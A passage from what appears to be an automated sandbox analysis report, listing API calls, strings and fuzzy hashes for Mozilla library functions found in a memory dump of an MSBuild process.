getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C3A9482
__Init_thread_footer.LIBCMT ref: 6C3A949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C3A9459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C3A947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C3A946B

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: aa7209bdc550835c8670554482e5b3e513ebcd6db196b4f678a2d7dfd6c72383
Instruction ID: 1b62c549755266806bfd7347bc88e096cacf80e424d6d2c20a356298690d70d3
Opcode Fuzzy Hash: aa7209bdc550835c8670554482e5b3e513ebcd6db196b4f678a2d7dfd6c72383
Instruction Fuzzy Hash: DF01B570A002118BE760DB9DE811A89337DDB0E32CF044537D90A96A41E666E9658F57

Function 6C3B0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C3B0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C3B0F88
GetCurrentThreadId.KERNEL32 ref: 6C3B0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C3B1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C3B10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C3B114B

Part of subcall function 6C3A8AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C3C1563), ref: 6C3A8BD5

free.MOZGLUE(?), ref: 6C3B1174
free.MOZGLUE(?), ref: 6C3B1186

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 3758bfa59661468c24f3b5e2538b7ed9db29f2a2a3d6a374edc4a08e0e261f8e
Instruction ID: fb818f33e1ab0f8f381e66e48c4fad549c4db4656d9e4d2df1a50f7e6f0a3b6a
Opcode Fuzzy Hash: 3758bfa59661468c24f3b5e2538b7ed9db29f2a2a3d6a374edc4a08e0e261f8e
Instruction Fuzzy Hash: 8561E175A043409BDB10CF25D98079AB7F9BFD9308F04891DE89967B11EB31E548CF92

Function 6C36B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C36B61E,?,?,?,?,?,00000000), ref: 6C36B6AC

Part of subcall function 6C37CA10: malloc.MOZGLUE(?), ref: 6C37CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C36B61E,?,?,?,?,?,00000000), ref: 6C36B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C36B61E,?,?,?,?,?,00000000), ref: 6C36B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C36B61E,?,?,?,?,?,00000000), ref: 6C36B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C36B61E,?,?,?,?,?,00000000), ref: 6C36B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C36B61E), ref: 6C36B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C36B61E,?,?,?,?,?,00000000), ref: 6C36B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C36B61E,?,?,?,?,?,00000000), ref: 6C36B79A

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: accf34db211849a82fb5ab1c3fa72387fcda1a23ef445d764c178cd2439db9f0
Instruction ID: e835281017b0fae4f128a95b22dc48a5a41b4cf71e86490fa9c01e7ae591a390
Opcode Fuzzy Hash: accf34db211849a82fb5ab1c3fa72387fcda1a23ef445d764c178cd2439db9f0
Instruction Fuzzy Hash: 5F41A4B2D001159FCB14DF69DC805AEB7B9BF44328B250629E865EBB84E731E9148FE1

Function 6C36EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C3E5104), ref: 6C36EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C36EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C36EFEC
free.MOZGLUE(?), ref: 6C36F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C36F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C36F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C36F065
moz_xmalloc.MOZGLUE ref: 6C36F072

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: a3d2af2eecbf99a11efaadb9d4a40449ae6c5aaae9df9605f670c2a16b25523b
Instruction ID: 7066b3dec2494eeafdfbd78e3c4b64ca6865821c853bb0042ed6e640ad6477dc
Opcode Fuzzy Hash: a3d2af2eecbf99a11efaadb9d4a40449ae6c5aaae9df9605f670c2a16b25523b
Instruction Fuzzy Hash: A141D8B1A102059FCB18CF78DC815EF7769BF88314B250228E855DB798EB31E915CBE1

Function 6C3DB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C3DB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C3DB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C3DB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C3DB5F4
__Init_thread_footer.LIBCMT ref: 6C3DB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C3DB61F
std::_Facet_Register.LIBCPMT ref: 6C3DB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C3DB655

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 74e0efd6fcfabd51fd0363aa91a99f894befca94055eefc6e5570e981bdf5d1c
Instruction ID: 3136ec400997fa3995785c953fba88cbc3a5f65feaddbfbed794c6e9f4c5ebb5
Opcode Fuzzy Hash: 74e0efd6fcfabd51fd0363aa91a99f894befca94055eefc6e5570e981bdf5d1c
Instruction Fuzzy Hash: 2B319472B00204CBCB51DF69D8549AFBBB9EB8E318B150516D5419B740DB71B8068F91

Function 6C3A6590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C39FA80: GetCurrentThreadId.KERNEL32 ref: 6C39FA8D
Part of subcall function 6C39FA80: AcquireSRWLockExclusive.KERNEL32(6C3EF448), ref: 6C39FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C3A6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C3A67C8

Part of subcall function 6C3B4290: memcpy.VCRUNTIME140(?,?,6C3C2003,6C3C0AD9,?,6C3C0AD9,00000000,?,6C3C0AD9,?,00000004,?,6C3C1A62,?,6C3C2003,?), ref: 6C3B42C4

Strings

v>l, xrefs: 6C3A696C
data, xrefs: 6C3A6593

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$v>l
API String ID: 511789754-1464115005
Opcode ID: 5cad9e657743bae7b509a440257d06b260e2fedc5b35308aa7c8207b5ff70f78
Instruction ID: 01c38cd3566a723c5d6480067a883eac70d4bc9b11f2f35c0fbfe6544282e1d7
Opcode Fuzzy Hash: 5cad9e657743bae7b509a440257d06b260e2fedc5b35308aa7c8207b5ff70f78
Instruction Fuzzy Hash: C5D1ACB5A043408BD724DF68D840B9AB7F5EFD5308F10492EE18997B51EB31A90ACF63

Function 6C39D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C36EB57,?,?,?,?,?,?,?,?,?), ref: 6C39D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C36EB57,?), ref: 6C39D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C36EB57,?), ref: 6C39D673
free.MOZGLUE(?), ref: 6C39D888

Strings

W6l, xrefs: 6C39D5D9, 6C39D63F
|Enabled, xrefs: 6C39D81E

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: W6l$|Enabled
API String ID: 4142949111-3701282370
Opcode ID: 1b95d1940b92553eafb894797f29642a7b46e210c165fb99266197c8153fcca7
Instruction ID: fd37a49197e425c58155a26adf7c067d703aacf5041a34f2a51936db0ab107ac
Opcode Fuzzy Hash: 1b95d1940b92553eafb894797f29642a7b46e210c165fb99266197c8153fcca7
Instruction Fuzzy Hash: 68A104B0A043048FDB11CF69C8917EEBBF5AF49318F18805DD899AB742E735A945CFA1

Function 6C379830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C3C7ABE), ref: 6C37985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C3C7ABE), ref: 6C3798A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C379909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C379918
free.MOZGLUE(?), ref: 6C379975

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 37d628cd45def964ff76fdb72ccf20c9c1732cd89cdd99f22d9b8974feaac880
Instruction ID: 877ec1c4ab677b63f96dc9142ec14a34d845b8b49a1db4d1fb5eab8e25b27b5c
Opcode Fuzzy Hash: 37d628cd45def964ff76fdb72ccf20c9c1732cd89cdd99f22d9b8974feaac880
Instruction Fuzzy Hash: 967199746007058FD725CF28C480956B7F5FF4A3287244BA9D89A8BBA0D736F801CFA5

Function 6C37B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C3BCC83,?,?,?,?,?,?,?,?,?,6C3BBCAE,?,?,6C3ADC2C), ref: 6C37B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C3BCC83,?,?,?,?,?,?,?,?,?,6C3BBCAE,?,?,6C3ADC2C), ref: 6C37B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C3BCC83,?,?,?,?,?,?,?,?,?,6C3BBCAE), ref: 6C37B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C3BCC83,?,?,?,?,?,?,?,?,?,6C3BBCAE,?,?,6C3ADC2C), ref: 6C37B896

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 85400e09a68f5c8d28453144b63dc261deacdaac2a4d2a3b74c9f57ec4b867fa
Instruction ID: 741d14d1f96b78f73694b79a7dd9f21cffa5c15ec0cea13b3f94979bcea3439a
Opcode Fuzzy Hash: 85400e09a68f5c8d28453144b63dc261deacdaac2a4d2a3b74c9f57ec4b867fa
Instruction Fuzzy Hash: 08518A357002448FCB25CF58C484A6ABBF5FF8D318B69895DE99A8B351C735E801CFA8

Function 6C3B1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C3B1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C3B1BE3,?,?,6C3B1D96,00000000), ref: 6C3B1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C3B1BE3,?,?,6C3B1D96,00000000), ref: 6C3B1D4C
GetCurrentThreadId.KERNEL32 ref: 6C3B1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C3B1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C3B1DDA

Part of subcall function 6C3B1EF0: GetCurrentThreadId.KERNEL32 ref: 6C3B1F03
Part of subcall function 6C3B1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C3B1DF2,00000000,00000000), ref: 6C3B1F0C
Part of subcall function 6C3B1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C3B1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C3B1DF4

Part of subcall function 6C37CA10: malloc.MOZGLUE(?), ref: 6C37CA26

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 18b4f67676cfe04db490ca0a04a39316acd49fc1f6048ab631da26269b115147
Instruction ID: 2f21acbc6177b4b5565b74e747132cdbe1257a2885cee41dd156c65e78e281bf
Opcode Fuzzy Hash: 18b4f67676cfe04db490ca0a04a39316acd49fc1f6048ab631da26269b115147
Instruction Fuzzy Hash: 224179B52007019FCB60CF29D488A66BBF9FB89318F10442EE99A87B41CB71F814CB95

Function 6C3738A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C3EE220,?,?,?,?,6C373899,?), ref: 6C3738B2
ReleaseSRWLockExclusive.KERNEL32(6C3EE220,?,?,?,6C373899,?), ref: 6C3738C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6C373899,?), ref: 6C3738F1
RtlFreeHeap.NTDLL ref: 6C373920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6C373899,?), ref: 6C37392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6C373899,?), ref: 6C373943
RtlFreeHeap.NTDLL ref: 6C37396E

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 99000935db92d46550613062503764deb5ccdf5550b60758b219f9bb40bc4aa5
Instruction ID: f44435d25b251da5088f6b56ff19e5c0a19a63572b0c8bc48bf7a00d1b161660
Opcode Fuzzy Hash: 99000935db92d46550613062503764deb5ccdf5550b60758b219f9bb40bc4aa5
Instruction Fuzzy Hash: 76210272600720EFD761DF15C880B86B7A9FF45328F168429D99A97B10C739F845CFA5

Function 6C3A84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C3A84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C3A850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C3A851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C3A855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C3A856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C3A85AC

Part of subcall function 6C3A7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C3A85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C3A767F
Part of subcall function 6C3A7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C3A85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C3A7693
Part of subcall function 6C3A7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C3A85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C3A76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C3A85B2

Part of subcall function 6C385E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C385EDB
Part of subcall function 6C385E90: memset.VCRUNTIME140(ew<l,000000E5,?), ref: 6C385F27
Part of subcall function 6C385E90: LeaveCriticalSection.KERNEL32(?), ref: 6C385FB2

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 0b63fb2b8789a80a6f89e2b8dc248a0b943da3f84a6ac3f0bcacd4f603a8fc8f
Instruction ID: c906bce54b737e6ae9d2c532cd72331a31aa0e868488d6f8ab604dac9bd752e9
Opcode Fuzzy Hash: 0b63fb2b8789a80a6f89e2b8dc248a0b943da3f84a6ac3f0bcacd4f603a8fc8f
Instruction Fuzzy Hash: 3E217F742007419FDB14DB68D888A9AB7B9EF4530CF14482DE99B83B41DB32F969CB52

Function 6C371640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C371699
VerSetConditionMask.NTDLL ref: 6C3716CB
VerSetConditionMask.NTDLL ref: 6C3716D7
VerSetConditionMask.NTDLL ref: 6C3716DE
VerSetConditionMask.NTDLL ref: 6C3716E5
VerSetConditionMask.NTDLL ref: 6C3716EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C3716F9

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 8805dec192fe969fb73f125688af69de3158cd5989c4618acbc2d4a8e162160b
Instruction ID: 89a078f31eb9efdd2a3d14f4d883ae8f8c4d3d01bfd225e9e3de654341b42416
Opcode Fuzzy Hash: 8805dec192fe969fb73f125688af69de3158cd5989c4618acbc2d4a8e162160b
Instruction Fuzzy Hash: CD21E4B17403086BEB216A649C85FBB737CEFCA708F004529F6499B1C0C678ED548BB1

Function 6C3AF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C39CBE8: GetCurrentProcess.KERNEL32(?,6C3631A7), ref: 6C39CBF1
Part of subcall function 6C39CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3631A7), ref: 6C39CBFA

Part of subcall function 6C3A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C374A68), ref: 6C3A945E
Part of subcall function 6C3A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C3A9470
Part of subcall function 6C3A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C3A9482
Part of subcall function 6C3A9420: __Init_thread_footer.LIBCMT ref: 6C3A949F

GetCurrentThreadId.KERNEL32 ref: 6C3AF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C3AF598), ref: 6C3AF621

Part of subcall function 6C3A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3A94EE
Part of subcall function 6C3A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C3A9508

GetCurrentThreadId.KERNEL32 ref: 6C3AF637
AcquireSRWLockExclusive.KERNEL32(6C3EF4B8,?,?,00000000,?,6C3AF598), ref: 6C3AF645
ReleaseSRWLockExclusive.KERNEL32(6C3EF4B8,?,?,00000000,?,6C3AF598), ref: 6C3AF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C3AF62A

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

